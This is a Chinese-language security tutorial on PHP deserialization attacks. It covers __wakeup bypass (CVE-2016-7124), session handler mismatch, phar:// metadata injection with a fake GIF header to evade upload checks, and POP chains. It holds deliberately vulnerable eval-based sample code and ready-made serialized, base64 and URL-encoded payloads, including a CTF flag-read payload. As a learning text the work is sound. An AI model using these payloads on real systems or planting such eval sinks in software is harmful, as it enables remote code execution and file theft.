原理:在php反序列化的时候,反序列化的内容可控,那么恶意用户就可以构造特定序列化内容的代码,通过反序列化接口进行反序列化时,自动执行魔法函数,若魔法函数中存在危险操作或调用危险操作。则构成反序列化漏洞。
魔法函数:会自动调用
__construct() 当一个对象创建时被调用 (反序列化时触发)
__destruct() 当一个对象销毁时被调用 (程序结束,对象销毁,触发)
__toString() 当一个对象被当作一个字符串使用 (echo时触发)
__sleep() 在对象在被序列化之前自动调用
__wakeup 在序列化之后自动被调用
如果服务器能够接收我们反序列化过的字符串、并且未经过滤的把其中的变量直接放进这些魔术方法里面的话,就容易造成很严重的漏洞了。
如果 __wakeup()
或者 __desturct()
有敏感操作,比如读写文件、操作数据库,就可以通过函数实现文件读写或者数据读取的行为。
反序列化漏洞的发掘过程:
__destruct()
中存在eval操作eg 1:一个简单的例子__destruct()
中存在eval操作
class A
{
public $test = a;
public function __destruct()
{
echo "__destruct函数执行后";
//存在危险函数
@eval($this->test);
}
}
$b = $_GET[cmd];
$len=strlen($_GET[cmd])+1;
$d = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$b.";\";}";
$c = unserialize($d);
echo $c->test . "
";
?>
__wakeup()
中存在读写操作eg 2:一个简单的例子__wakeup()
中存在读写操作
class T
{
public $test = 'is test';
public function __wakeup()
{
echo "step2/ 反序列化时__wakeup()函数执行
";
$fp = fopen("a.php","w");
fwrite($fp,$this->test);
fclose($fp);
}
}
$obj_str = $_GET['a'];
echo "step1/ 传入: " . $obj_str ."
";
$obj = unserialize($obj_str);
//显示
require "a.php";
?>
参考大神 twosmi1e的文章
何时使用:
__wakeup()
方法中设置反序列化后的属性值,绕过它使属性再次可控。
.
cve编号:cve-2016-7124
.
影响版本: PHP5 < 5.6.25
.
漏洞简述: 当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
eg1 .一个小示例
error_reporting(0);
class T{
public $key = 'lalalalla';
// 检测是否绕过
public function __destruct(){
if(!empty($this->key)){
if($this->key == 'lalalalla')
echo '成功绕过';
}
}
//有__wakeup()改变属性值
public function __wakeup(){
$this->key = '失败,没有绕过 ';
echo $this->key;
}
public function __toString(){
return '';
}
}
$obj_str = $_GET['answer'];
echo "传入的参数: " . $obj_str;
echo '
';
echo unserialize($obj_str);
?>
eg2 . 看一道拿flag的
class SoFun{
protected $file='index.php';
function __destruct(){
if(!empty($this->file)) {
// 过滤会退符号
if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false)
//会读取file文件内容,我们需要利用这里来读flag.php
show_source(dirname (__FILE__).'/'.$this ->file);
else
die('Wrong filename.');
}
}
//__wakeup方法写死file属性
function __wakeup(){
$this-> file='index.php';
}
public function __toString(){
return '' ;
}
}
if (!isset($_GET['file'])){
show_source('index.php');
}
else{
$file=base64_decode($_GET['file']);
echo unserialize($file);
}
?> #
【思路】
目的是去读取flag.php的内容
1. 先构造序列化对象:O:5:"SoFun":1:{S:7:"\00*\00file";s:8:"flag.php";}
2. 绕过__wakeup:O:5:"SoFun":2:{S:7:"\00*\00file";s:8:"flag.php";}
3. 因为file是protect属性,所以需要加上\00*\00。再base64编码。
payload:Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==
参考spoock大佬的文章
PHP在session存储和读取时,都会有一个序列化和反序列化的过程,PHP内置了多种处理器用于存取 $_SESSION
的数据,都会对数据进行序列化和反序列化。
当session_start()
被调用或者php.ini中session.auto_start=1
时,PHP内部调用会话处理器,对用户session序列化,然后存储到指定目录(默认为/tmp)。
不同的处理器所对应的session的存储方式不相同。
eg1 . 三种处理器序列化后的数据对比
/*session.php*/
ini_set('session.serialize_handler','php_serialize'); //分别设置为不同的处理器
session_start();
$_SESSION['name'] = $_GET['name'];
?>
访问 http://192.168.44.129/session.php?name=tom
存储和取回 session 变量的正确方法是使用 $_SESSION
变量:
【session.php】
// session.php 用于存储session的页面
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['name'] = $_GET['name'];
echo "存储的seesion为:";
print_r($_SESSION);
?>
【print.php】
//用于输出session页面
ini_set('session.serialize_handler','php_serialize');
session_start();
echo "当前session为:";
print_r($_SESSION['name']);
?>
1. 首先访问session.php,
$_SESSION
变量接受参数,然用php_serialize处理器序列化后存放在session指定的存储路径.
2. 访问 print.php , 使用php_serialize处理器反序列化session文件后输出
简述:程序员设计Session存储不当而引起的。
利用前提:可以构造传入session。 序列化和反序列化的处理器不一样。
如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化(因为三种处理器的存储格式不同)。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法。
【session.php】
// session.php 用于存储session的页面
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['name'] = $_GET['name'];
echo "存储的seesion为:";
print_r($_SESSION);
?>
【attack.php】
//存在漏洞的页面
ini_set('session.serialize_handler','php');
session_start();
class TEST{
public $a;
function __destruct()
{
echo "
------------反序列化session后------
";
@eval($this->a);
}
}
echo "当前session为:" . $_SESSION['name'] . "
";
?>
漏洞成因:因为序列化和反序列化时的处理器不一样。php处理器会把 |
后的值当作KEY值再反序列化,攻击者可以利用这点,进行构造攻击
1. 首先访问session.php生成session
?name=|O:4:"TEST":1:{s:1:"a";s:10:"phpinfo();";}
.
2. 访问attack.php
https://www.anquanke.com/post/id/159206#h3-8
https://xz.aliyun.com/t/3674#toc-11
session.upload_progress.enabled=On
时。session.upload_progress.enabled本身作用不大,是用来检测一个文件上传的进度。但当一个文件上传时,同时POST一个与php.ini中session.upload_progress.name同名的变量时(session.upload_progress.name的变量值默认为PHP_SESSION_UPLOAD_PROGRESS),PHP检测到这种同名请求会在$_SESSION中添加一条数据。我们由此来设置session。
利用 phar 拓展 php 反序列化漏洞攻击面
phar文件:PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发。
- 简单来说phar就是php压缩文档。它可以把多个文件归档到同一个文件中,而且能被 php 的伪协议
phar://
执行- 所有PHAR文件都使用 .phar 作为文件扩展名
phar结构由 4 部分组:
- stub : phar 文件标识,格式为 xxx;
- manifest : 压缩文件的属性等信息,以序列化存储;
- contents : 压缩文件的内容;
- signature : 签名,放在文件末尾;
php内置了一个Phar类来处理相关操作:`
- 注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。
官方文档的说明
哪里存在序列化和反序列化:
- 被压缩文件的权限、属性等信息都放在manifest部分。这部分还会以序列化的形式存储用户自定义的meta-data(元数据),这是漏洞利用的核心部分。对应phar类的方法是Phar::setMetadata=>设置phar归档元数据
php识别phar文件是通过其文件头的stub,更确切一点来说是 __HALT_COMPILER();?>
这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件来绕过文件上传的检测。
各种文件头
类型 | 标识 |
---|---|
JPEG | 头标识ff d8 ,结束标识ff d9 |
JPEG | 头标识ff d8 ,结束标识ff d9 |
PNG | 头标识89 50 4E 47 0D 0A 1A 0A |
GIF | 头标识(6 bytes) GIF89(7)a |
BMP | 头标识(2 bytes) 42 4D BM |
$phar -> setStub('GIF89a'.''); //设置stub,增加gif文件头
eg . 一个实列
【phar_make.php】
class TEST{
public $a;
}
$obj = new TEST();
$obj -> a= 'phpinfo();';
$phar = new Phar('attack.phar'); // 后缀必须为phar否则程序无法运行, 使用phar的__constrct方法
$phar -> startBuffering(); //开始缓冲Phar写操作
$phar -> setStub('GIF89a'.''); //设置stub,增加gif文件头
$phar -> addFromString('test.txt','test'); //以字符串的形式添加一个文件到 phar 档案
$phar -> setMetadata($obj); 漏洞关键点 //将自定义meta-data存入manifest
$phar -> stopBuffering(); //停止缓冲对Phar存档的写请求,并将更改保存到磁盘
?>
【phar_use.php】
$filename=$_GET['filename'];
class TEST{
public $a;
public function __destruct()
{
eval($this ->a);
}
}
file_get_contents($filename); //用文件操作函数结合phar伪协议去读phar文件
?>
1.访问phar_make.php, 生成attack.phar
使用winhex查看文件内容.
2. 访问phar_use.php,结合phar伪协议去打开attack.phar文件
http://192.168.44.129/phar_use.php?filename=phar://attack.phar/test.txt.
【绕过文件上传】
1. 发现phar_use.php的源码中,发现可以使用操作文件函数,且类中方法存在危险函数
上传处限制.phar
文件, 修改后缀上传绕过attack.gif
.
2.结合phar://
伪协议访问attack.gif
- phar文件要能够上传到服务器端。
- 要有可用的魔术方法作为 “ 跳板 ”,且存在危险函数。
- 文件操作函数的参数可控,且
:
、//
、phar
等特殊字符没有被过滤。
phar在反序列化漏洞利用中的意义:
该方法在文件系统函数参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。
参考文章
https://paper.seebug.org/680/#0x01
PHP反序列化入门之phar
pop(property-oriented programing)面向属性编程
何时构造:正常的反序列化漏洞多为利用魔法函数自自动调用而触发,若敏感函数(危险函数等)不在魔法函数中,而为类的普通方法中。若存在相同的方法名,此时可以将存在魔法函数的类的属性和敏感函数的属性联系在一起
.
如何实现:在反序列化的参数可控时,传入的序列化描述字符中的属性的值为敏感函数的对象的序列化描述字符。
eg 1 一个实列
【分析和源码】
//pop_chain.php
class TEST{
protected $ClassObj;
function __construct() {
$this->ClassObj = new safe();
}
function __destruct() {
$this->ClassObj->action(); // 可利用的原因点
}}
class safe{
function action() {
echo "Here is safe";
}}
class unsafe{
private $data;
function action() {
echo "执行了unsafe中的action方法";
eval($this->data);
}}
unserialize($_GET['test']);
?>
【分析】
TEST中存在魔法函数,但并不存在危险函数。TEST类和unsafe类中都存在action方法名
危险函数在unsafe类中存在
-->反序列化参数可控 通过构造pop chain,控制$ClassObj属性去执行unsafe类中的action方
因为存在protected属性,最后要url编码
O:4:"TEST":1:{s:11:"*ClassObj";O:6:"unsafe":1:{s:12:"unsafedata";s:10:"phpinfo();";}}
O%3A4%3A%22TEST%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A6%3A%22unsafe%22%3A1%3A%7Bs%3A12%3A%22%00unsafe%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D
2. 访问pop_chain.php 并传参
更深的文章
https://www.cnblogs.com/iamstudy/articles/php_object_injection_pop_chain.html
https://xz.aliyun.com/t/3674#toc-13